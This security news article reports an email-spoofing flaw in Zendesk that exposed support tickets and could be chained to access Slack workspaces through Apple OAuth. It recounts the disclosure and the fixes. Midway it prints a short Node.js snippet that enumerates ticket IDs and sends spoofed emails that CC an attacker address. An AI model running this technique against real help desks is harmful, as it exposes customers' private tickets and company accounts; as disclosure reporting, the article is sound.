A security vulnerability in Zendesk, a widely used customer service tool, has been uncovered. This flaw allowed attackers to access support tickets from any company using Zendesk, posing significant risks to sensitive information.
Zendesk initially dismissed the vulnerability, which involved email spoofing, but later forced the company to implement critical security fixes. Here’s a detailed look at the issue and its implications.
The Vulnerability: How Email Spoofing Was Exploited
Zendesk is a popular platform for managing customer support tickets used by major companies worldwide. The flaw was discovered when it was found that Zendesk lacked adequate protection against email spoofing.
.png
)
This oversight allowed attackers to exploit the email collaboration feature and gain unauthorized access to support tickets.
Analyse Any Suspicious Links Using ANY.RUN’s New Safe Browsing Tool: Try for Free
The process was alarmingly simple. When an email is sent to a company’s Zendesk support portal, a new ticket is created with a unique reply-to address, such as support+id{id}@company.com.
If an attacker knew this ticket ID, they could send a spoofed email from the original requestor’s address and CC themselves.
Zendesk would then add the attacker’s email to the ticket, granting them full access to the ticket history. Here’s a snippet of code demonstrating how an attacker could automate this process:
const sendmail = require('sendmail')();
// Assuming the ticket you created in step #2 was assigned a ticket ID of #453
// verification email landed somewhere near there
const range = [448, 457];
for (let i = range[0]; i < range[1]; i++) {
// Send spoofed emails from Apple to Zendesk
sendmail({
from: 'appleid@id.apple.com',
to: support+id${i}@company.com,
cc: 'attacker@example.com',
subject: '',
html: 'comment body',
}, function (err, reply) {
console.log(err && err.stack);
console.dir(reply);
});
}Initial Dismissal and Subsequent Reactions
Upon discovering this vulnerability, the researcher reported it through Zendesk’s bug bounty program.
However, the report was initially dismissed as “out of scope” because it relied on email spoofing.
This response was not from Zendesk directly but through their third-party triage service on HackerOne. The researcher’s persistence paid off when individual companies using Zendesk were alerted to the issue.
Many immediately disabled Zendesk’s email collaboration feature to protect their systems. The pressure from these companies eventually forced Zendesk to acknowledge and address the vulnerability.
According to the GitHub report, the implications of this vulnerability extended beyond Zendesk.
The researcher realized that the flaw could be used to infiltrate private Slack workspaces by exploiting Single Sign-On (SSO) systems that many companies use across both Slack and Zendesk.
By creating an Apple account with a company’s support email and requesting a verification code, attackers could use the same spoofing technique to access Slack accounts via Apple OAuth login.
This escalation demonstrated how interconnected systems could be compromised through seemingly minor vulnerabilities.
Aftermath and Lessons Learned
After weeks of reporting the issue to affected companies, some took swift action, while others blamed Zendesk.
Eventually, Zendesk implemented fixes by automatically enhancing their spam filters and suspending suspicious emails.
Despite these measures, the researcher received no bounty from Zendesk due to alleged breaches of disclosure guidelines. However, they earned over $50,000 in bounties from companies that appreciated the warning.
This incident highlights the critical importance of robust security measures in third-party tools like Zendesk. Companies must be vigilant about vulnerabilities in their integrated systems and ensure comprehensive validation processes are in place.
How to Choose an ultimate Managed SIEM solution for Your Security Team -> Download Free Guide(PDF)
